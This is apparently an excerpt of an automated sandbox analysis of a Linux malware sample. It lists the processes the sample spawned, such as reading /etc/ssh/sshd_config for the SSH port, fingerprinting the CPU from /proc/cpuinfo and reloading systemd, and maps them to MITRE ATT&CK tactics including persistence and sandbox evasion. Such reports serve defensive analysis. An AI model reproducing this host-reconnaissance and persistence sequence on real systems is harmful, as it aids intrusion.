/usr/bin/head
head -n 1
1⤵
PID:4778

/usr/bin/grep
grep "Port "
1⤵
PID:4777

/usr/bin/cat
cat /etc/ssh/sshd_config
1⤵
PID:4776

/usr/bin/sed
sed -e "s/\$//"
1⤵
PID:4788

/usr/bin/sed
sed -e "s/^ *//"
1⤵
PID:4787

/usr/bin/cut
cut -d: -f2
1⤵
PID:4786

/usr/bin/grep
grep -m 1 "model name" /proc/cpuinfo
1⤵
- Checks CPU configuration
PID:4785

/usr/bin/awk
awk "{print \$1}"
1⤵
PID:4791

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4794

/usr/bin/awk
awk "{print \$4}"
1⤵
PID:4797

/usr/local/sbin/systemctl
systemctl daemon-reload
1⤵
PID:4855

/usr/local/bin/systemctl
systemctl daemon-reload
1⤵
PID:4855

/usr/sbin/systemctl
systemctl daemon-reload
1⤵
PID:4855

/usr/bin/systemctl
systemctl daemon-reload
1⤵
PID:4855

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

Persistence

Boot or Logon Autostart Execution

Hijack Execution Flow

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

Hijack Execution Flow

Scheduled Task/Job

Defense Evasion

Hijack Execution Flow

Virtualization/Sandbox Evasion

Credential Access

Discovery

System Information Discovery

Virtualization/Sandbox Evasion